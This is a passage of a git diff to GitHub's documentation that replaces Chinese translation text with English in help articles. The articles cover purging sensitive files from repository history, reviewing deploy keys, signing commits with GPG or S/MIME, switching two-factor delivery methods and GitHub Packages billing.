accidentally re-committed. -1. 安装最新版本的 [git filter-repo](https://github.com/newren/git-filter-repo) 工具。 您可以手动或使用软件包管理器安装 `git-filter-repo`。 例如，要使用 HomeBrew 安装工具，请使用 `brew install` 命令。 +1. Install the latest release of the [git filter-repo](https://github.com/newren/git-filter-repo) tool. You can install `git-filter-repo` manually or by using a package manager. For example, to install the tool with HomeBrew, use the `brew install` command. ``` brew install git-filter-repo ``` - 更多信息请参阅 `newren/git-filter-repo` 仓库中的 [*INSTALL.md*](https://github.com/newren/git-filter-repo/blob/main/INSTALL.md)。 + For more information, see [*INSTALL.md*](https://github.com/newren/git-filter-repo/blob/main/INSTALL.md) in the `newren/git-filter-repo` repository. -2. 如果其历史记录中没有包含敏感数据仓库的本地副本，则[克隆仓库](/articles/cloning-a-repository/)到本地计算机。 +2. If you don't already have a local copy of your repository with sensitive data in its history, [clone the repository](/articles/cloning-a-repository/) to your local computer. ```shell $ git clone https://{% data variables.command_line.codeblock %}/YOUR-USERNAME/YOUR-REPOSITORY > Initialized empty Git repository in /Users/YOUR-FILE-PATH/YOUR-REPOSITORY/.git/ @@ -85,15 +84,15 @@ $ git push --force > Receiving objects: 100% (1301/1301), 164.39 KiB, done. > Resolving deltas: 100% (724/724), done. ``` -3. 导航到仓库的工作目录。 +3. Navigate into the repository's working directory. ```shell $ cd YOUR-REPOSITORY ``` -4. 运行以下命令，将 `PATH-TO-YOUR-FILE-WITH-SENSITIVE-DATA` 替换为**您要删除的文件的路径，而不仅仅是其文件名**。 这些参数将： - - 强制 Git 处理但不检出每个分支和标记的完整历史记录 - - 删除指定的文件，以及因此生成的任何空提交 - - 删除一些配置，例如存储在 *.git/config* 文件中的远程 URL。 您可能需要提前备份此文件以供以后恢复。 - - **覆盖现有的标记** +4. Run the following command, replacing `PATH-TO-YOUR-FILE-WITH-SENSITIVE-DATA` with the **path to the file you want to remove, not just its filename**. These arguments will: + - Force Git to process, but not check out, the entire history of every branch and tag + - Remove the specified file, as well as any empty commits generated as a result + - Remove some configurations, such as the remote URL, stored in the *.git/config* file. You may want to back up this file in advance for restoration later. + - **Overwrite your existing tags** ```shell $ git filter-repo --invert-paths --path PATH-TO-YOUR-FILE-WITH-SENSITIVE-DATA Parsed 197 commits @@ -111,11 +110,11 @@ $ git push --force {% note %} - **注：**如果含有敏感数据的文件曾经存在于任何其他路径中（因为它已被移动或重命名），则也必须在这些路径上运行此命令。 + **Note:** If the file with sensitive data used to exist at any other paths (because it was moved or renamed), you must run this command on those paths, as well. {% endnote %} -5. 将含有敏感数据的文件添加到 `.gitignore` 以确保不会再次意外提交它。 +5. Add your file with sensitive data to `.gitignore` to ensure that you don't accidentally commit it again. ```shell $ echo "YOUR-FILE-WITH-SENSITIVE-DATA" >> .gitignore @@ -124,8 +123,8 @@ $ git push --force > [main 051452f] Add YOUR-FILE-WITH-SENSITIVE-DATA to .gitignore > 1 files changed, 1 insertions(+), 0 deletions(-) ``` -6. 仔细检查您是否已从仓库历史记录中删除所需的所有内容，并且所有分支均已检出。 -7. Once you're happy with the state of your repository, force-push your local changes to overwrite your repository on {% ifversion ghae %}{% data variables.product.product_name %}{% else %}{% data variables.product.product_location %}{% endif %}, as well as all the branches you've pushed up: +6. Double-check that you've removed everything you wanted to from your repository's history, and that all of your branches are checked out. +7. Once you're happy with the state of your repository, force-push your local changes to overwrite your repository on {% ifversion ghae %}{% data variables.product.product_name %}{% else %}{% data variables.product.product_location %}{% endif %}, as well as all the branches you've pushed up. A force push is required to remove sensitive data from your commit history. ```shell $ git push origin --force --all > Counting objects: 1074, done. @@ -136,7 +135,7 @@ $ git push --force > To https://{% data variables.command_line.codeblock %}/YOUR-USERNAME/YOUR-REPOSITORY.git > + 48dc599...051452f main -> main (forced update) ``` -8. 要从[标记的发行版](/articles/about-releases)删除敏感文件，您还需要强制推送 Git 标记： +8. In order to remove the sensitive file from [your tagged releases](/articles/about-releases), you'll also need to force-push against your Git tags: ```shell $ git push origin --force --tags > Counting objects: 321, done. @@ -148,15 +147,15 @@ $ git push --force > + 48dc599...051452f main -> main (forced update) ``` -## 完全从 {% data variables.product.prodname_dotcom %} 中删除数据 +## Fully removing the data from {% data variables.product.prodname_dotcom %} -在使用 BFG 工具或 `git filter-repo` 删除敏感数据并将更改推至 {% data variables.product.product_name %} 后，您必须再采取一些步骤，以完全从 {% data variables.product.product_name %} 中删除数据。 +After using either the BFG tool or `git filter-repo` to remove the sensitive data and pushing your changes to {% data variables.product.product_name %}, you must take a few more steps to fully remove the data from {% data variables.product.product_name %}. -1. 联系 {% data variables.contact.contact_support %}，请求他们删除 {% data variables.product.product_name %} 上拉取请求中敏感数据的缓存视图和引用。 请提供仓库名称和/或您需要删除的提交链接。 +1. Contact {% data variables.contact.contact_support %}, asking them to remove cached views and references to the sensitive data in pull requests on {% data variables.product.product_name %}. Please provide the name of the repository and/or a link to the commit you need removed. -2. 告知协作者[变基](https://git-scm.com/book/en/Git-Branching-Rebasing)而*不是*合并他们从旧的（污染的） 仓库历史记录创建的任何分支。 一次合并提交可能会重新引入您刚刚遇到清除问题的部分或全部污染的历史记录。 +2. Tell your collaborators to [rebase](https://git-scm.com/book/en/Git-Branching-Rebasing), *not* merge, any branches they created off of your old (tainted) repository history. One merge commit could reintroduce some or all of the tainted history that you just went to the trouble of purging. -3. 经过一段时间并且您确信 BFG 工具 / `git filter-repo` 没有任何意外的副作用后，您可以通过以下命令（使用 Git 1.8.5 或更新版本）强制取消引用本地仓库中的所有对象并进行垃圾回收： +3. After some time has passed and you're confident that the BFG tool / `git filter-repo` had no unintended side effects, you can force all objects in your local repository to be dereferenced and garbage collected with the following commands (using Git 1.8.5 or newer): ```shell $ git for-each-ref --format="delete %(refname)" refs/original | git update-ref --stdin $ git reflog expire --expire=now --all @@ -169,21 +168,21 @@ $ git push --force ``` {% note %} - **注：**您也可以通过以下方法实现此目的：将过滤的历史记录推送到新的或空的仓库，然后从 {% data variables.product.product_name %} 进行全新克隆。 + **Note:** You can also achieve this by pushing your filtered history to a new or empty repository and then making a fresh clone from {% data variables.product.product_name %}. {% endnote %} -## 避免将来的意外提交 +## Avoiding accidental commits in the future -有一些简单的技巧可避免提交您不想要提交的内容： +There are a few simple tricks to avoid committing things you don't want committed: -- 使用如 [{% data variables.product.prodname_desktop %}](https://desktop.github.com/) 或 [gitk](https://git-scm.com/docs/gitk) 之类的可视程序提交更改。 可视程序通常可以更容易地查看每次提交时将添加、删除和修改具体哪些文件。 -- 避免在命令行中使用全部捕获命令 `git add .` 和 `git commit -a` — 使用 `git add filename` 和 `git rm filename` 逐个暂存文件。 -- 使用 `git add --interactive` 逐个查看和暂存每个文件中的更改。 -- 使用 `git diff --cached` 查看您为提交暂存的更改。 只要不使用 `-a` 标志，这就是 `git commit` 将产生的确切差异。 +- Use a visual program like [{% data variables.product.prodname_desktop %}](https://desktop.github.com/) or [gitk](https://git-scm.com/docs/gitk) to commit changes. Visual programs generally make it easier to see exactly which files will be added, deleted, and modified with each commit. +- Avoid the catch-all commands `git add .` and `git commit -a` on the command line—use `git add filename` and `git rm filename` to individually stage files, instead. +- Use `git add --interactive` to individually review and stage changes within each file. +- Use `git diff --cached` to review the changes that you have staged for commit. This is the exact diff that `git commit` will produce as long as you don't use the `-a` flag. -## 延伸阅读 +## Further reading -- [`git filter-repo` 手册页](https://htmlpreview.github.io/?https://github.com/newren/git-filter-repo/blob/docs/html/git-filter-repo.html) -- [Pro Git：Git 工具 - 重写历史记录](https://git-scm.com/book/en/Git-Tools-Rewriting-History) +- [`git filter-repo` man page](https://htmlpreview.github.io/?https://github.com/newren/git-filter-repo/blob/docs/html/git-filter-repo.html) +- [Pro Git: Git Tools - Rewriting History](https://git-scm.com/book/en/Git-Tools-Rewriting-History) - "[About Secret scanning](/code-security/secret-security/about-secret-scanning)" diff --git a/translations/zh-CN/content/authentication/keeping-your-account-and-data-secure/reviewing-your-deploy-keys.md b/translations/zh-CN/content/authentication/keeping-your-account-and-data-secure/reviewing-your-deploy-keys.md index e109815454..b3629bba82 100644 --- a/translations/zh-CN/content/authentication/keeping-your-account-and-data-secure/reviewing-your-deploy-keys.md +++ b/translations/zh-CN/content/authentication/keeping-your-account-and-data-secure/reviewing-your-deploy-keys.md @@ -1,6 +1,6 @@ --- -title: 审查您的部署密钥 -intro: 您应审查部署密钥，以确保没有任何未经授权（或可能已受损）的密钥。 您还可以批准有效的现有部署密钥。 +title: Reviewing your deploy keys +intro: You should review deploy keys to ensure that there aren't any unauthorized (or possibly compromised) keys. You can also approve existing deploy keys that are valid. redirect_from: - /articles/reviewing-your-deploy-keys - /github/authenticating-to-github/reviewing-your-deploy-keys @@ -13,12 +13,16 @@ versions: topics: - Identity - Access management -shortTitle: 部署密钥 +shortTitle: Deploy keys --- - {% data reusables.repositories.navigate-to-repo %} {% data reusables.repositories.sidebar-settings %} -3. 在左侧边栏中，单击 **Deploy keys（部署密钥）**。 ![部署密钥设置](/assets/images/help/settings/settings-sidebar-deploy-keys.png) -4. 在 Deploy keys（部署密钥）页面中，记下与您的帐户关联的部署密钥。 对于您无法识别或已过期的密钥，请单击 **Delete（删除）**。 如果有您要保留的有效部署密钥，请单击 **Approve（批准）**。 ![部署密钥列表](/assets/images/help/settings/settings-deploy-key-review.png) +3. In the left sidebar, click **Deploy keys**. +![Deploy keys setting](/assets/images/help/settings/settings-sidebar-deploy-keys.png) +4. On the Deploy keys page, take note of the deploy keys associated with your account. For those that you don't recognize, or that are out-of-date, click **Delete**. If there are valid deploy keys you'd like to keep, click **Approve**. + ![Deploy key list](/assets/images/help/settings/settings-deploy-key-review.png) -更多信息请参阅“[管理部署密钥](/guides/managing-deploy-keys)”。 +For more information, see "[Managing deploy keys](/guides/managing-deploy-keys)." + +## Further reading +- [Configuring notifications](/account-and-profile/managing-subscriptions-and-notifications-on-github/setting-up-notifications/configuring-notifications#organization-alerts-notification-options) diff --git a/translations/zh-CN/content/authentication/managing-commit-signature-verification/about-commit-signature-verification.md b/translations/zh-CN/content/authentication/managing-commit-signature-verification/about-commit-signature-verification.md index 556e2bb84a..0a0564460c 100644 --- a/translations/zh-CN/content/authentication/managing-commit-signature-verification/about-commit-signature-verification.md +++ b/translations/zh-CN/content/authentication/managing-commit-signature-verification/about-commit-signature-verification.md @@ -1,6 +1,6 @@ --- -title: 关于提交签名验证 -intro: '使用 GPG 或 S/MIME，您可以在本地对标记和提交进行签名。 这些标记或提交在 {% data variables.product.product_name %} 上标示为已验证，便于其他人信任更改来自可信的来源。' +title: About commit signature verification +intro: 'Using GPG or S/MIME, you can sign tags and commits locally. These tags or commits are marked as verified on {% data variables.product.product_name %} so other people can be confident that the changes come from a trusted source.' redirect_from: - /articles/about-gpg-commit-and-tag-signatures/ - /articles/about-gpg/ @@ -15,85 +15,84 @@ versions: topics: - Identity - Access management -shortTitle: 提交签名验证 +shortTitle: Commit signature verification --- +## About commit signature verification -## 关于提交签名验证 +You can sign commits and tags locally, to give other people confidence about the origin of a change you have made. If a commit or tag has a GPG or S/MIME signature that is cryptographically verifiable, GitHub marks the commit or tag {% ifversion fpt or ghec %}"Verified" or "Partially verified."{% else %}"Verified."{% endif %} -您可以在本地签署提交和标签，让其他人对您所做更改的源充满信心。 如果提交或标签具有可加密验证的 GPG 或 S/MIME 签名，GitHub 会对提交或标签标记 {% ifversion fpt or ghec %}“已验证”或“部分验证”{% else %}“已验证”{% endif %} - -![验证的提交](/assets/images/help/commits/verified-commit.png) +![Verified commit](/assets/images/help/commits/verified-commit.png) {% ifversion fpt or ghec %} -提交和标签具有以下验证状态，具体取决于您是否启用了警戒模式。 默认情况下未启用警戒模式。 有关如何启用警戒模式的更多信息，请参阅“[显示所有提交的验证状态](/github/authenticating-to-github/displaying-verification-statuses-for-all-of-your-commits)”。 +Commits and tags have the following verification statuses, depending on whether you have enabled vigilant mode. By default vigilant mode is not enabled. For information on how to enable vigilant mode, see "[Displaying verification statuses for all of your commits](/github/authenticating-to-github/displaying-verification-statuses-for-all-of-your-commits)." {% data reusables.identity-and-permissions.vigilant-mode-beta-note %} -### 默认状态 +### Default statuses -| 状态 | 描述 | -| ------- | -------------- | -| **已验证** | 提交已签名且签名已成功验证。 | -| **未验证** | 提交已签名，但签名无法验证。 | -| 无验证状态 | 提交未签名。 | +| Status | Description | +| -------------- | ----------- | +| **Verified** | The commit is signed and the signature was successfully verified. +| **Unverified** | The commit is signed but the signature could not be verified. +| No verification status | The commit is not signed. -### 启用了警戒模式的状态 +### Statuses with vigilant mode enabled {% data reusables.identity-and-permissions.vigilant-mode-verification-statuses %} {% else %} -如果提交或标记具有无法验证的签名，则 {% data variables.product.product_name %} 会将提交或标记标示为“未验证”。 +If a commit or tag has a signature that can't be verified, {% data variables.product.product_name %} marks the commit or tag "Unverified." {% endif %} -仓库管理员可对分析实施必要的提交签名，以阻止未签名和验证的所有提交。 更多信息请参阅“[关于受保护分支](/github/administering-a-repository/about-protected-branches#require-signed-commits)”。 +Repository administrators can enforce required commit signing on a branch to block all commits that are not signed and verified. For more information, see "[About protected branches](/github/administering-a-repository/about-protected-branches#require-signed-commits)." {% data reusables.identity-and-permissions.verification-status-check %} {% ifversion fpt or ghec %} -{% data variables.product.product_name %} will automatically use GPG to sign commits you make using the {% data variables.product.product_name %} web interface. 由 {% data variables.product.product_name %} 签名的提交在 {% data variables.product.product_name %} 上将具有已验证的状态。 您可以使用 https://github.com/web-flow.gpg 上的公钥本地验证签名。 钥匙的完整指纹是 `5DE3 E050 9C47 EA3C F04A 42D3 4AEE 18F8 3AFD EB23`。 您可以选择在 {% data variables.product.prodname_codespaces %} 中使用 {% data variables.product.product_name %} 对您的提交进行签名。 有关对您的代码空间启用 GPG 验证的更多信息，请参阅“[管理 {% data variables.product.prodname_codespaces %} 的 GPG 验证](/github/developing-online-with-codespaces/managing-gpg-verification-for-codespaces)”。 +{% data variables.product.product_name %} will automatically use GPG to sign commits you make using the {% data variables.product.product_name %} web interface. Commits signed by {% data variables.product.product_name %} will have a verified status on {% data variables.product.product_name %}. You can verify the signature locally using the public key available at https://github.com/web-flow.gpg. The full fingerprint of the key is `5DE3 E050 9C47 EA3C F04A 42D3 4AEE 18F8 3AFD EB23`. You can optionally choose to have {% data variables.product.product_name %} sign commits you make in {% data variables.product.prodname_codespaces %}. For more information about enabling GPG verification for your codespaces, see "[Managing GPG verification for {% data variables.product.prodname_codespaces %}](/github/developing-online-with-codespaces/managing-gpg-verification-for-codespaces)." {% endif %} -## GPG 提交签名验证 +## GPG commit signature verification -您可以使用 GPG 通过自己生成的 GPG 密钥对验证签名。 +You can use GPG to sign commits with a GPG key that you generate yourself. {% data variables.product.product_name %} uses OpenPGP libraries to confirm that your locally signed commits and tags are cryptographically verifiable against a public key you have added to your account on {% ifversion ghae %}{% data variables.product.product_name %}{% else %}{% data variables.product.product_location %}{% endif %}. -要使用 GPG 对提交签名并在 {% data variables.product.product_name %} 上验证这些提交，请执行以下步骤： +To sign commits using GPG and have those commits verified on {% data variables.product.product_name %}, follow these steps: -1. [检查现有 GPG 密钥](/articles/checking-for-existing-gpg-keys) -2. [生成新 GPG 密钥](/articles/generating-a-new-gpg-key) -3. [新增 GPG 密钥到 GitHub 帐户](/articles/adding-a-new-gpg-key-to-your-github-account) -4. [将您的签名密钥告诉 Git](/articles/telling-git-about-your-signing-key) -5. [对提交签名](/articles/signing-commits) -6. [对标记签名](/articles/signing-tags) +1. [Check for existing GPG keys](/articles/checking-for-existing-gpg-keys) +2. [Generate a new GPG key](/articles/generating-a-new-gpg-key) +3. [Add a new GPG key to your GitHub account](/articles/adding-a-new-gpg-key-to-your-github-account) +4. [Tell Git about your signing key](/articles/telling-git-about-your-signing-key) +5. [Sign commits](/articles/signing-commits) +6. [Sign tags](/articles/signing-tags) -## S/MIME 提交签名验证 +## S/MIME commit signature verification -您可以使用 S/MIME 通过组织颁发的 X.509 密钥对提交签名。 +You can use S/MIME to sign commits with an X.509 key issued by your organization. -{% data variables.product.product_name %} 使用 [Debian ca 证书包](https://packages.debian.org/hu/jessie/ca-certificates)（Mozilla 浏览器使用的相同信任库）确认您本地签名的提交和标记可根据可信根证书中的公钥加密验证。 +{% data variables.product.product_name %} uses [the Debian ca-certificates package](https://packages.debian.org/hu/jessie/ca-certificates), the same trust store used by Mozilla browsers, to confirm that your locally signed commits and tags are cryptographically verifiable against a public key in a trusted root certificate. {% data reusables.gpg.smime-git-version %} -要使用 S/MIME 对提交签名并在 {% data variables.product.product_name %} 上验证这些提交，请执行以下步骤： +To sign commits using S/MIME and have those commits verified on {% data variables.product.product_name %}, follow these steps: -1. [将您的签名密钥告诉 Git](/articles/telling-git-about-your-signing-key) -2. [对提交签名](/articles/signing-commits) -3. [对标记签名](/articles/signing-tags) +1. [Tell Git about your signing key](/articles/telling-git-about-your-signing-key) +2. [Sign commits](/articles/signing-commits) +3. [Sign tags](/articles/signing-tags) -无需将公钥上传到 {% data variables.product.product_name %}。 +You don't need to upload your public key to {% data variables.product.product_name %}. {% ifversion fpt or ghec %} -## 自动程序的签名验证 +## Signature verification for bots -需要提交签名的组织和 {% data variables.product.prodname_github_apps %} 可使用自动程序对提交签名。 如果提交或标记具有密码可验证的自动程序签名，则 {% data variables.product.product_name %} 会将提交或标记标示为已验证。 +Organizations and {% data variables.product.prodname_github_apps %} that require commit signing can use bots to sign commits. If a commit or tag has a bot signature that is cryptographically verifiable, {% data variables.product.product_name %} marks the commit or tag as verified. -自动程序的签名验证仅在请求被验证为 {% data variables.product.prodname_github_app %} 或自动程序并且不含自定义作者信息、自定义提交者信息、自定义签名信息（如提交 API）时才有效。 +Signature verification for bots will only work if the request is verified and authenticated as the {% data variables.product.prodname_github_app %} or bot and contains no custom author information, custom committer information, and no custom signature information, such as Commits API. {% endif %} -## 延伸阅读 +## Further reading -- "[对提交签名](/articles/signing-commits)" -- "[对标记签名](/articles/signing-tags)" -- "[提交签名验证故障排除](/articles/troubleshooting-commit-signature-verification)" +- "[Signing commits](/articles/signing-commits)" +- "[Signing tags](/articles/signing-tags)" +- "[Troubleshooting commit signature verification](/articles/troubleshooting-commit-signature-verification)" diff --git a/translations/zh-CN/content/authentication/managing-commit-signature-verification/signing-commits.md b/translations/zh-CN/content/authentication/managing-commit-signature-verification/signing-commits.md index 896d48a888..ad03fae2b2 100644 --- a/translations/zh-CN/content/authentication/managing-commit-signature-verification/signing-commits.md +++ b/translations/zh-CN/content/authentication/managing-commit-signature-verification/signing-commits.md @@ -1,6 +1,6 @@ --- -title: 对提交签名 -intro: 您可以使用 GPG 或 S/MIME 在本地对提交进行签名。 +title: Signing commits +intro: You can sign commits locally using GPG or S/MIME. redirect_from: - /articles/signing-commits-and-tags-using-gpg/ - /articles/signing-commits-using-gpg/ @@ -16,45 +16,45 @@ topics: - Identity - Access management --- - {% data reusables.gpg.desktop-support-for-commit-signing %} {% tip %} -**提示：** +**Tips:** -要将您的 Git 客户端配置为默认对本地仓库的提交签名，请在 Git 版本 2.0.0 及更高版本中，运行 `git config commit.gpgsign true`。 要在计算机上的任何本地仓库中默认对所有提交签名，请运行 `git config --global commit.gpgsign true`。 +To configure your Git client to sign commits by default for a local repository, in Git versions 2.0.0 and above, run `git config commit.gpgsign true`. To sign all commits by default in any local repository on your computer, run `git config --global commit.gpgsign true`. -要存储 GPG 密钥密码，以便无需在每次对提交签名时输入该密码，我们建议使用以下工具： - - 对于 Mac 用户，[GPG Suite](https://gpgtools.org/) 允许您在 Mac OS 密钥链中存储 GPG 密钥密码。 - - 对于 Windows 用户，[Gpg4win](https://www.gpg4win.org/) 将与其他 Windows 工具集成。 +To store your GPG key passphrase so you don't have to enter it every time you sign a commit, we recommend using the following tools: + - For Mac users, the [GPG Suite](https://gpgtools.org/) allows you to store your GPG key passphrase in the Mac OS Keychain. + - For Windows users, the [Gpg4win](https://www.gpg4win.org/) integrates with other Windows tools. -您也可以手动配置 [gpg-agent](http://linux.die.net/man/1/gpg-agent) 以保存 GPG 密钥密码，但这不会与 Mac OS 密钥链（如 ssh 代理）集成，并且需要更多设置。 +You can also manually configure [gpg-agent](http://linux.die.net/man/1/gpg-agent) to save your GPG key passphrase, but this doesn't integrate with Mac OS Keychain like ssh-agent and requires more setup. {% endtip %} -如果您有多个密钥或尝试使用与您的提交者身份不匹配的密钥对提交或标记签名，应[将您的签名密钥告诉 Git](/articles/telling-git-about-your-signing-key)。 +If you have multiple keys or are attempting to sign commits or tags with a key that doesn't match your committer identity, you should [tell Git about your signing key](/articles/telling-git-about-your-signing-key). -1. 当本地分支中的提交更改时，请将 S 标志添加到 git commit 命令： +1. When committing changes in your local branch, add the -S flag to the git commit command: ```shell - $ git commit -S -m your commit message + $ git commit -S -m "your commit message" # Creates a signed commit ``` -2. 如果您使用 GPG，则创建提交后，提供您[生成 GPG 密钥](/articles/generating-a-new-gpg-key)时设置的密码。 -3. 在本地完成创建提交后，将其推送到 {% data variables.product.product_name %} 上的远程仓库： +2. If you're using GPG, after you create your commit, provide the passphrase you set up when you [generated your GPG key](/articles/generating-a-new-gpg-key). +3. When you've finished creating commits locally, push them to your remote repository on {% data variables.product.product_name %}: ```shell $ git push # Pushes your local commits to the remote repository ``` -4. 在 {% data variables.product.product_name %} 上，导航到您的拉取请求。 +4. On {% data variables.product.product_name %}, navigate to your pull request. {% data reusables.repositories.review-pr-commits %} -5. 要查看关于已验证签名的更多详细信息，请单击 Verified（已验证）。 ![已签名提交](/assets/images/help/commits/gpg-signed-commit-verified-without-details.png) +5. To view more detailed information about the verified signature, click Verified. +![Signed commit](/assets/images/help/commits/gpg-signed-commit-verified-without-details.png) -## 延伸阅读 +## Further reading -* "[检查现有 GPG 密钥](/articles/checking-for-existing-gpg-keys)" -* "[生成新 GPG 密钥](/articles/generating-a-new-gpg-key)" -* "[添加新 GPG 密钥到 GitHub 帐户](/articles/adding-a-new-gpg-key-to-your-github-account)" -* "[向 Git 告知您的签名密钥](/articles/telling-git-about-your-signing-key)" -* "[将电子邮件与 GPG 密钥关联](/articles/associating-an-email-with-your-gpg-key)" -* "[对标记签名](/articles/signing-tags)" +* "[Checking for existing GPG keys](/articles/checking-for-existing-gpg-keys)" +* "[Generating a new GPG key](/articles/generating-a-new-gpg-key)" +* "[Adding a new GPG key to your GitHub account](/articles/adding-a-new-gpg-key-to-your-github-account)" +* "[Telling Git about your signing key](/articles/telling-git-about-your-signing-key)" +* "[Associating an email with your GPG key](/articles/associating-an-email-with-your-gpg-key)" +* "[Signing tags](/articles/signing-tags)" diff --git a/translations/zh-CN/content/authentication/securing-your-account-with-two-factor-authentication-2fa/changing-two-factor-authentication-delivery-methods-for-your-mobile-device.md b/translations/zh-CN/content/authentication/securing-your-account-with-two-factor-authentication-2fa/changing-two-factor-authentication-delivery-methods-for-your-mobile-device.md index eaa696fbb6..8b8e9e7073 100644 --- a/translations/zh-CN/content/authentication/securing-your-account-with-two-factor-authentication-2fa/changing-two-factor-authentication-delivery-methods-for-your-mobile-device.md +++ b/translations/zh-CN/content/authentication/securing-your-account-with-two-factor-authentication-2fa/changing-two-factor-authentication-delivery-methods-for-your-mobile-device.md @@ -1,6 +1,6 @@ --- -title: 更改移动设备的双重身份验证递送方式 -intro: 您可以选择通过短信或移动应用程序接收验证码。 +title: Changing two-factor authentication delivery methods for your mobile device +intro: You can switch between receiving authentication codes through a text message or a mobile application. redirect_from: - /articles/changing-two-factor-authentication-delivery-methods/ - /articles/changing-two-factor-authentication-delivery-methods-for-your-mobile-device @@ -11,24 +11,25 @@ versions: ghec: '*' topics: - 2FA -shortTitle: 更改 2FA 递送方式 +shortTitle: Change 2FA delivery method --- - {% note %} -**注：**更改双重身份验证方法会使当前的双因素方法设置无效。 但是，这不会影响您的恢复代码或后备 SMS 配置。 如果需要，您可以在个人帐户的安全设置页面中更新恢复代码或后备 SMS 配置。 +**Note:** Changing your primary method for two-factor authentication invalidates your current two-factor authentication setup, including your recovery codes. Keep your new set of recovery codes safe. Changing your primary method for two-factor authentication does not affect your fallback SMS configuration, if configured. For more information, see "[Configuring two-factor authentication recovery methods](/authentication/securing-your-account-with-two-factor-authentication-2fa/configuring-two-factor-authentication-recovery-methods#setting-a-fallback-authentication-number)." {% endnote %} {% data reusables.user_settings.access_settings %} {% data reusables.user_settings.security %} -3. 在“SMS delivery（SMS 递送）旁边，单击 **Edit（编辑）**。 ![编辑 SMS 递送选项](/assets/images/help/2fa/edit-sms-delivery-option.png) -4. 在“Delivery options（递送选项）”下，单击 **Reconfigure two-factor authentication（重新配置双重身份验证）**。 ![切换 2FA 递送选项](/assets/images/help/2fa/2fa-switching-methods.png) -5. 决定是使用 TOTP 移动应用程序还是使用短信设置双重身份验证。 更多信息请参阅“[配置双重身份验证](/articles/configuring-two-factor-authentication)”。 - - 要使用 TOTP 移动应用程序设置双重身份验证，请单击 **Set up using an app（使用应用程序设置）**。 - - 要使用短信 (SMS) 设置双重身份验证，请单击 **Set up using SMS（使用 SMS 设置）**。 +3. Next to "SMS delivery", click **Edit**. + ![Edit SMS delivery options](/assets/images/help/2fa/edit-sms-delivery-option.png) +4. Under "Delivery options", click **Reconfigure two-factor authentication**. + ![Switching your 2FA delivery options](/assets/images/help/2fa/2fa-switching-methods.png) +5. Decide whether to set up two-factor authentication using a TOTP mobile app or text message. For more information, see "[Configuring two-factor authentication](/articles/configuring-two-factor-authentication)." + - To set up two-factor authentication using a TOTP mobile app, click **Set up using an app**. + - To set up two-factor authentication using text message (SMS), click **Set up using SMS**. -## 延伸阅读 +## Further reading -- "[关于双重身份验证](/articles/about-two-factor-authentication)" -- "[配置双重身份验证恢复方法](/articles/configuring-two-factor-authentication-recovery-methods)" +- "[About two-factor authentication](/articles/about-two-factor-authentication)" +- "[Configuring two-factor authentication recovery methods](/articles/configuring-two-factor-authentication-recovery-methods)" diff --git a/translations/zh-CN/content/billing/managing-billing-for-github-packages/about-billing-for-github-packages.md b/translations/zh-CN/content/billing/managing-billing-for-github-packages/about-billing-for-github-packages.md index 8eb3497d35..3cba501e37 100644 --- a/translations/zh-CN/content/billing/managing-billing-for-github-packages/about-billing-for-github-packages.md +++ b/translations/zh-CN/content/billing/managing-billing-for-github-packages/about-billing-for-github-packages.md @@ -1,6 +1,6 @@ --- -title: 关于 GitHub 包的计费 -intro: '如果对 {% data variables.product.prodname_registry %} 的使用超出帐户包含的存储容量或数据传输，您需要支付额外的使用费。' +title: About billing for GitHub Packages +intro: 'If you want to use {% data variables.product.prodname_registry %} beyond the storage or data transfer included in your account, you will be billed for additional usage.' product: '{% data reusables.gated-features.packages %}' redirect_from: - /github/setting-up-and-managing-billing-and-payments-on-github/about-billing-for-github-packages @@ -12,67 +12,66 @@ type: overview topics: - Packages - Spending limits -shortTitle: 关于计费 +shortTitle: About billing --- - -## 关于 {% data variables.product.prodname_registry %} 的计费 +## About billing for {% data variables.product.prodname_registry %} {% data reusables.package_registry.packages-billing %} -{% data reusables.package_registry.packages-spending-limit-brief %} 更多信息请参阅“[关于支出限制](#about-spending-limits)”。 +{% data reusables.package_registry.packages-spending-limit-brief %} For more information, see "[About spending limits](#about-spending-limits)." {% note %} -**容器映像存储的计费更新：**容器映像存储和带宽的 {% data variables.product.prodname_container_registry %} 的免费使用期已经延长。 如果您正在使用 {% data variables.product.prodname_container_registry %} ，您将在开始计费之前至少一个月收到通知，并且会收到您预计要支付多少款项的预估。 有关 {% data variables.product.prodname_container_registry %} 的更多信息，请参阅“[使用容器注册表](/packages/working-with-a-github-packages-registry/working-with-the-container-registry)”。 +**Billing update for container image storage:** The period of free use for container image storage and bandwidth for the {% data variables.product.prodname_container_registry %} has been extended. If you are using {% data variables.product.prodname_container_registry %} you'll be informed at least one month in advance of billing commencing and you'll be given an estimate of how much you should expect to pay. For more information about the {% data variables.product.prodname_container_registry %}, see "[Working with the Container registry](/packages/working-with-a-github-packages-registry/working-with-the-container-registry)." {% endnote %} {% ifversion ghec %} -如果您通过 Microsoft 企业协议购买 {% data variables.product.prodname_enterprise %}，可以将 Azure 订阅 ID 连接到您的企业帐户，以便启用并支付超出您的帐户金额的 {% data variables.product.prodname_registry %} 使用费用。 更多信息请参阅“[将 Azure 订阅连接到您的企业](/billing/managing-billing-for-your-github-account/connecting-an-azure-subscription-to-your-enterprise)”。 +If you purchased {% data variables.product.prodname_enterprise %} through a Microsoft Enterprise Agreement, you can connect your Azure Subscription ID to your enterprise account to enable and pay for {% data variables.product.prodname_registry %} usage beyond the amounts including with your account. For more information, see "[Connecting an Azure subscription to your enterprise](/billing/managing-billing-for-your-github-account/connecting-an-azure-subscription-to-your-enterprise)." {% endif %} -数据传输每月都会重置，而存储使用量不重置。 +Data transfer resets every month, while storage usage does not. -| 产品 | 存储器 | 数据传输（每月） | -| ----------------------------------------------------- | ----- | -------- | -| {% data variables.product.prodname_free_user %} | 500MB | 1GB | -| {% data variables.product.prodname_pro %} | 2GB | 10GB | -| 组织的 {% data variables.product.prodname_free_team %} | 500MB | 1GB | -| {% data variables.product.prodname_team %} | 2GB | 10GB | -| {% data variables.product.prodname_ghe_cloud %} | 50GB | 100GB | +Product | Storage | Data transfer (per month) +------- | ------- | --------- +{% data variables.product.prodname_free_user %} | 500MB | 1GB +{% data variables.product.prodname_pro %} | 2GB | 10GB +{% data variables.product.prodname_free_team %} for organizations | 500MB | 1GB | +{% data variables.product.prodname_team %} | 2GB | 10GB +{% data variables.product.prodname_ghe_cloud %} | 50GB | 100GB -如果是 {% data variables.product.prodname_actions %} 触发的，所有传出的数据以及从任何来源传入的数据都是免费的。 当您使用 `GITHUB_TOKEN` 登录 {% data variables.product.prodname_registry %} 时，我们认为您在使用 {% data variables.product.prodname_actions %} 下载软件包。 +All data transferred out, when triggered by {% data variables.product.prodname_actions %}, and data transferred in from 